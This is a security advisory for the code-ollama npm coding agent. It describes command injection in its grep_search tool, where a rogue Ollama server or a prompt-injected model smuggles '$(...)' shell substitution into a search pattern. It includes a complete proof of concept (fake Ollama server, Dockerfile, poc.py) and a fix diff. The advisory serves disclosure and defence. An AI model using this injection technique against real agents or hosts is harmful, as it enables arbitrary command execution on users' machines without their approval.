---
id: GHSA-456v-xq2p-r4cj
title: >-
  code-ollama: `grep_search` Command Injection via Unescaped `$()` Shell
  Substitution (CWE-78)
summary: >-
  code-ollama: `grep_search` Command Injection via Unescaped `$()` Shell
  Substitution (CWE-78)
severity: high
cvss: 7.8
cwe:
  - CWE-78
vendor: code-ollama
product: code-ollama
ecosystem: npm
affected:
  - code-ollama <= 0.36.0
patched:
  - code-ollama 0.36.1
published: '2026-09-28'
updated: '2026-09-28'
sourceUpdated: '2026-09-28T13:59:47Z'
source: GHSA
sourceUrl: 'https://github.com/advisories/GHSA-456v-xq2p-r4cj'
references:
  - url: >-
      https://github.com/ai-action/code-ollama/security/advisories/GHSA-456v-xq2p-r4cj
  - url: 'https://github.com/advisories/GHSA-456v-xq2p-r4cj'
tags:
  - ghsa
  - npm
ingestedAt: '2026-09-28T14:12:02.161Z'
---

## Overview

## `grep_search` Command Injection via Unescaped `$()` Shell Substitution (CWE-78)

### Summary

The `grep_search` tool in `code-ollama` constructs a shell command string by interpolating attacker-controlled `pattern` and `path` arguments, then executes it via `child_process.exec()`. The sanitization only escapes backslashes and double-quote characters, leaving `$()` command substitution and backtick expansion fully intact. A malicious or compromised Ollama server can therefore inject and execute arbitrary OS commands with the privileges of the local user running `code-ollama`. Because `grep_search` is classified as a read-only tool, it auto-executes in Plan mode without any user approval prompt, making this a no-interaction-required exploitation path. Severity is **High (CVSS 7.8)**.

### Details

**Vulnerable sink — `src/utils/tools/filesystem/grep.ts:58-66`**

```ts
const escapedPattern = searchPattern
  .replace(/\\/g, '\\\\')
  .replace(/"/g, '\\"');
const escapedDirPath = dirPath.replace(/\\/g, '\\\\').replace(/"/g, '\\"');

const { stdout } = await execShell(
  `rg --line-number --no-heading --smart-case "${escapedPattern}" "${escapedDirPath}"`,
);
```

Only `\` and `"` are neutralized. The shell metacharacter sequence `$()` (and backtick-style `` ` `` substitution) is passed through unmodified. The resulting string is passed to `execShell()` (`src/utils/tools/shell.ts:46-49`), which calls `exec` — the promisified `child_process.exec` defined at `src/utils/node.ts:1-4` — causing `/bin/sh` to interpret the entire string and expand any embedded command substitution.

**Full data-flow path (source → sink)**

| Step | Location | Action |
|------|----------|--------|
| 1 | `src/utils/ollama.ts:102-103` | External Ollama chat stream delivers `chunk.message.tool_calls` to the CLI |
| 2 | `src/cli.ts:147-148` | Each `toolCall` is forwarded to `tools.executeToolCall()` |
| 3 | `src/utils/tools/dispatcher.ts:300-306` | Dispatcher normalizes the call and routes it |
| 4 | `src/utils/tools/dispatcher.ts:392-393` | `stringArgs.pattern` and `stringArgs.path` are passed verbatim to `grepSearch()` |
| 5 | `src/utils/tools/filesystem/grep.ts:58-63` | Incomplete sanitization: only `\` and `"` are escaped (**root cause**) |
| 6 | `src/utils/tools/filesystem/grep.ts:65` | Shell command string assembled and handed to `execShell()` (**sink**) |
| 7 | `src/utils/tools/shell.ts:46-49` → `src/utils/node.ts:1-4` | `exec()` (`child_process.exec`) executes the string via `/bin/sh` |

**Approval-bypass amplifier**

`grep_search` is listed in `READ_TOOL_NAMES` at `src/constants/tool.ts:14-20` and is exposed in Plan mode at `src/utils/tools/definitions.ts:225-228`. Read-only tools execute automatically without presenting an approval prompt to the user, so exploitation requires zero user interaction beyond the initial `code-ollama run` invocation.

### PoC

**Prerequisites**

- `code-ollama` v0.36.0 installed (e.g., `npm install --global code-ollama@0.36.0` or built from source via the Dockerfile below).
- `ripgrep` (`rg`) available in `PATH` (the vulnerable code path requires it).
- Python 3 available to run the fake Ollama server.

**Step 1 — Build the self-contained Docker image (recommended)**

```sh
# From the report root directory (where vuln-001/ lives)
docker build -t vuln001-code-ollama -f vuln-001/Dockerfile .
docker run --rm vuln001-code-ollama
```

The container automatically runs `poc.py` as `CMD`. Successful exploitation prints:

```
[+] EXPLOITATION CONFIRMED
[+] Marker file : /tmp/poc-evidence
[+] Contents    : 'uid=0(root) gid=0(root) groups=0(root)'
```

**Step 2 — Manual reproduction (bare-metal)**

```sh
# Terminal 1 — start the malicious Ollama server
cat > /tmp/fake-ollama.py <<'PY'
from http.server import BaseHTTPRequestHandler, HTTPServer
import json, sys, threading

_req = 0
_lock = threading.Lock()

class H(BaseHTTPRequestHandler):
    def log_message(self, *a): pass
    def do_GET(self):
        self.send_response(200); self.end_headers()
        self.wfile.write(b"Ollama is running")
    def do_POST(self):
        global _req
        l = int(self.headers.get("Content-Length", 0))
        self.rfile.read(l)
        with _lock:
            _req += 1; n = _req
        self.send_response(200)
        self.send_header("Content-Type", "application/x-ndjson")
        self.end_headers()
        if n == 1:
            chunk = {"model":"fake","message":{"role":"assistant","content":"",
                "tool_calls":[{"function":{"name":"grep_search",
                    "arguments":{"pattern":"$(id>/tmp/poc-evidence)","path":"/tmp"}}}]},
                "done":True,"done_reason":"stop"}
        else:
            chunk = {"model":"fake","message":{"role":"assistant","content":"Done."},
                "done":True,"done_reason":"stop"}
        self.wfile.write((json.dumps(chunk)+"\n").encode())
        self.wfile.flush()

HTTPServer(("127.0.0.1", 11434), H).serve_forever()
PY
python3 /tmp/fake-ollama.py &

# Terminal 2 — run code-ollama against the fake server
rm -f /tmp/poc-evidence
OLLAMA_HOST=http://127.0.0.1:11434 code-ollama run --trust fake "search the code"
cat /tmp/poc-evidence   # expected: uid=... gid=... groups=...
```

**Explanation of the payload**

The `pattern` argument value `$(id>/tmp/poc-evidence)` survives the sanitization in `grep.ts:58-63` because only `\` and `"` are stripped. When the resulting shell string

```
rg --line-number --no-heading --smart-case "$(id>/tmp/poc-evidence)" "/tmp"
```

is executed by `/bin/sh` via `child_process.exec`, the shell expands `$()` first, running `id` and writing its output to `/tmp/poc-evidence` before `rg` ever starts.

**Remediation**

Replace the shell-string construction with an argument-vector call to avoid the shell entirely:

```diff
-import { execShell } from '../shell';
+import { execFile } from '../../node';
+
+const RG_EXEC_OPTIONS = { timeout: 30_000, maxBuffer: 1024 * 1024 };

-      const escapedPattern = searchPattern
-        .replace(/\\/g, '\\\\')
-        .replace(/"/g, '\\"');
-      const escapedDirPath = dirPath
-        .replace(/\\/g, '\\\\')
-        .replace(/"/g, '\\"');
-
-      const { stdout } = await execShell(
-        `rg --line-number --no-heading --smart-case "${escapedPattern}" "${escapedDirPath}"`,
-      );
+      const { stdout } = await execFile(
+        'rg',
+        ['--line-number', '--no-heading', '--smart-case', '--', searchPattern, dirPath],
+        RG_EXEC_OPTIONS,
+      );
```

### Impact

This is an **OS Command Injection** vulnerability (CWE-78). Any party that controls the Ollama server response — including a rogue model backend, a prompt-injection payload that manipulates the model into issuing a crafted `grep_search` tool call, or a network adversary performing a man-in-the-middle attack on an unencrypted `OLLAMA_HOST` connection — can execute arbitrary commands as the OS user running `code-ollama`.

Impact scope:

- **Confidentiality (High)** — attacker can read any file accessible to the user, exfiltrate source code, secrets, SSH keys, etc.
- **Integrity (High)** — attacker can modify or delete files, plant backdoors, alter repository history.
- **Availability (High)** — attacker can terminate processes, corrupt data, or consume system resources.

The approval-bypass via `READ_TOOL_NAMES` / Plan-mode auto-execution means the attack completes silently with no user interaction after `code-ollama run` is invoked. Developers, CI pipelines, and IDE-integrated users who run `code-ollama` in trusted directories are all at risk.

### Reproduction artifacts

#### `Dockerfile`

```dockerfile
# VULN-001: grep_search Command Injection — CWE-78
# Target: ai-action/code-ollama v0.36.0
# Proof-of-concept Docker image: builds the repo and runs poc.py
#
# Build (from project root):
#   docker build -t vuln001-code-ollama -f vuln-001/Dockerfile .
# Run:
#   docker run --rm vuln001-code-ollama

FROM node:24-slim

# ripgrep  — required by grepSearch() in the vulnerable code path
# python3  — runs poc.py orchestration script
RUN apt-get update && apt-get install -y \
    ripgrep \
    python3 \
    --no-install-recommends \
 && rm -rf /var/lib/apt/lists/*

# ── Install Node dependencies ──────────────────────────────────────────────────
WORKDIR /app
COPY repo/package.json repo/package-lock.json ./
# Install ALL deps (devDeps needed for vite build / tsx fallback)
RUN npm ci

# ── Copy source and build ──────────────────────────────────────────────────────
COPY repo/ ./
# Produces /app/dist/cli.js — the bundled CLI entrypoint
RUN npm run build

# ── Runtime setup ─────────────────────────────────────────────────────────────
# code-ollama writes config to ~/.code-ollama; pre-create to avoid mkdir race
RUN mkdir -p /root/.code-ollama /workspace

COPY vuln-001/poc.py /poc.py

WORKDIR /workspace
CMD ["python3", "/poc.py"]
```

#### `poc.py`

```python
#!/usr/bin/env python3
"""
Proof of Concept: VULN-001 — grep_search Command Injection (CWE-78)
Repository : ai-action/code-ollama v0.36.0
Sink       : src/utils/tools/filesystem/grep.ts:65
             execShell(`rg ... "${escapedPattern}" "${escapedDirPath}"`)
Attack path: malicious Ollama server -> tool_call.arguments.pattern
             -> grepSearch() -> execShell() -> child_process.exec()

Only `\\` and `"` are escaped; `$()` command substitution is NOT neutralized.
This PoC demonstrates that a rogue Ollama server can inject arbitrary shell
commands that execute as the local user running code-ollama.

Usage (inside Docker, called automatically by CMD):
    python3 /poc.py

Expected outcome:
    /tmp/poc-evidence is created with content matching INJECTED_CMD output.
"""

import json
import os
import subprocess
import sys
import threading
import time
from http.server import BaseHTTPRequestHandler, HTTPServer

# ---------------------------------------------------------------------------
# Configuration
# ---------------------------------------------------------------------------
FAKE_SERVER_HOST = "127.0.0.1"
FAKE_SERVER_PORT = 11434

# The marker file written by the injected command — used as exploitation proof
MARKER_FILE = "/tmp/poc-evidence"

# Payload: $() command substitution that is NOT escaped by code-ollama's
# sanitization (only \\ and " are escaped, leaving $() intact).
# Writes output of `id` to MARKER_FILE to capture the running UID/GID.
INJECTED_CMD = f"$(id>{MARKER_FILE})"

# Path argument for grep_search (must be a valid non-empty string)
TARGET_PATH = "/workspace"

# Tracks how many POST requests the fake server has received
_request_count = 0
_request_lock = threading.Lock()

# ---------------------------------------------------------------------------
# Fake Ollama HTTP server
# ---------------------------------------------------------------------------

class FakeOllamaHandler(BaseHTTPRequestHandler):
    """Minimal Ollama-compatible HTTP server for the PoC.

    First POST /api/chat  -> returns a grep_search tool_call carrying the
                             injected pattern.
    Subsequent POSTs      -> return a plain done response to terminate the
                             code-ollama tool-loop.
    """

    def log_message(self, fmt, *args):  # suppress default request logging
        pass

    # ------------------------------------------------------------------
    # GET — health-check (code-ollama / ollama-npm may call GET /)
    # ------------------------------------------------------------------
    def do_GET(self):
        self.send_response(200)
        self.send_header("Content-Type", "text/plain")
        self.end_headers()
        self.wfile.write(b"Ollama is running")

    # ------------------------------------------------------------------
    # POST — chat streaming endpoint
    # ------------------------------------------------------------------
    def do_POST(self):
        global _request_count

        # Consume request body to avoid broken-pipe on the client side
        content_length = int(self.headers.get("Content-Length", 0))
        _ = self.rfile.read(content_length)

        with _request_lock:
            _request_count += 1
            current_request = _request_count

        self.send_response(200)
        self.send_header("Content-Type", "application/x-ndjson")
        self.end_headers()

        if current_request == 1:
            # ---------------------------------------------------------------
            # First request: inject malicious grep_search tool call
            # The `arguments` object is passed verbatim through the ollama-npm
            # library and reaches grepSearch(pattern, path) in grep.ts.
            # ---------------------------------------------------------------
            print(f"[fake-ollama] Request #{current_request}: "
                  f"sending malicious grep_search tool_call")
            sys.stdout.flush()

            chunk = {
                "model": "fake",
                "message": {
                    "role": "assistant",
                    "content": "",
                    "tool_calls": [{
                        "function": {
                            "name": "grep_search",
                            # pattern and path are the two required string args
                            # validated by validateArgs() in dispatcher.ts
                            "arguments": {
                                "pattern": INJECTED_CMD,
                                "path": TARGET_PATH,
                            },
                        }
                    }],
                },
                "done": True,
                "done_reason": "stop",
            }
        else:
            # ---------------------------------------------------------------
            # Subsequent requests: plain text to terminate the tool loop.
            # No tool_calls -> nextMessages stays null -> processRunStream
            # returns after checking hasUncalledToolIntent (no match on
            # "Done.") so the CLI exits cleanly.
            # ---------------------------------------------------------------
            print(f"[fake-ollama] Request #{current_request}: "
                  "sending done/stop response")
            sys.stdout.flush()

            chunk = {
                "model": "fake",
                "message": {
                    "role": "assistant",
                    "content": "Done.",
                },
                "done": True,
                "done_reason": "stop",
            }

        self.wfile.write((json.dumps(chunk) + "\n").encode())
        self.wfile.flush()


def start_fake_server():
    """Start the fake Ollama server in a daemon thread."""
    server = HTTPServer((FAKE_SERVER_HOST, FAKE_SERVER_PORT), FakeOllamaHandler)
    thread = threading.Thread(target=server.serve_forever, daemon=True)
    thread.start()
    return server


# ---------------------------------------------------------------------------
# Main orchestration
# ---------------------------------------------------------------------------

def main():
    print("=" * 65)
    print("VULN-001: grep_search Command Injection PoC (CWE-78)")
    print("Target : ai-action/code-ollama v0.36.0")
    print("Sink   : src/utils/tools/filesystem/grep.ts:65")
    print("=" * 65)
    print()
    print(f"[*] Payload  : {INJECTED_CMD}")
    print(f"[*] Marker   : {MARKER_FILE}")
    print()

    # Clean up any leftover marker from a previous run
    if os.path.exists(MARKER_FILE):
        os.unlink(MARKER_FILE)
        print(f"[*] Removed stale marker file: {MARKER_FILE}")

    # -----------------------------------------------------------------------
    # 1. Start the fake Ollama server
    # -----------------------------------------------------------------------
    print(f"[*] Starting fake Ollama server on "
          f"{FAKE_SERVER_HOST}:{FAKE_SERVER_PORT} ...")
    start_fake_server()
    time.sleep(0.4)   # give the server socket time to bind

    # -----------------------------------------------------------------------
    # 2. Run code-ollama with OLLAMA_HOST pointing to the fake server
    #    --trust skips the interactive directory-trust prompt (src/cli.ts:214)
    # -----------------------------------------------------------------------
    env = os.environ.copy()
    env["OLLAMA_HOST"] = f"http://{FAKE_SERVER_HOST}:{FAKE_SERVER_PORT}"

    # Use the compiled CLI bundle produced by `npm run build` in the Dockerfile
    cmd = [
        "node", "/app/dist/cli.js",
        "run", "--trust", "fake", "search the code",
    ]

    print(f"[*] Executing: {' '.join(cmd)}")
    print(f"[*] OLLAMA_HOST={env['OLLAMA_HOST']}")
    print()

    try:
        result = subprocess.run(
            cmd,
            env=env,
            stdin=subprocess.DEVNULL,   # no TTY / interactive input needed
            capture_output=True,
            text=True,
            timeout=60,
            cwd="/workspace",
        )
    except subprocess.TimeoutExpired:
        print("[-] code-ollama subprocess timed out after 60 s")
        sys.exit(1)

    print("--- code-ollama stdout ---")
    print(result.stdout[:3000] if result.stdout else "(empty)")
    print("--- code-ollama stderr ---")
    print(result.stderr[:3000] if result.stderr else "(empty)")
    print(f"--- exit code: {result.returncode} ---")
    print()

    # -----------------------------------------------------------------------
    # 3. Verify exploitation: check for the marker file
    # -----------------------------------------------------------------------
    if os.path.exists(MARKER_FILE):
        evidence = open(MARKER_FILE).read().strip()
        print("[+] ============================================================")
        print("[+] EXPLOITATION CONFIRMED")
        print("[+] ============================================================")
        print(f"[+] Marker file : {MARKER_FILE}")
        print(f"[+] Contents    : {evidence!r}")
        print("[+] Explanation : The $() command substitution inside the")
        print("[+]   grep_search pattern was NOT escaped by code-ollama's")
        print("[+]   sanitizer (grep.ts:58-63 only strips \\ and \").")
        print("[+]   execShell() passed the raw string to child_process.exec()")
        print("[+]   which ran it through /bin/sh, executing the injected")
        print("[+]   command as the current user.")
        print("[+] ============================================================")
        sys.exit(0)
    else:
        print("[-] ============================================================")
        print("[-] EXPLOITATION FAILED")
        print(f"[-] Expected marker file NOT found: {MARKER_FILE}")
        print("[-] Possible causes:")
        print("[-]   - ollama-npm parsed tool_call.arguments differently")
        print("[-]   - The pattern was sanitized before reaching execShell()")
        print("[-]   - ripgrep is not installed so the fallback path was taken")
        print("[-]   - The shell used does not support $() substitution")
        print("[-] ============================================================")
        sys.exit(1)


if __name__ == "__main__":
    main()
```

## Affected packages

- `code-ollama <= 0.36.0`

## Remediation

Upgrade to a patched release:

- `code-ollama 0.36.1`
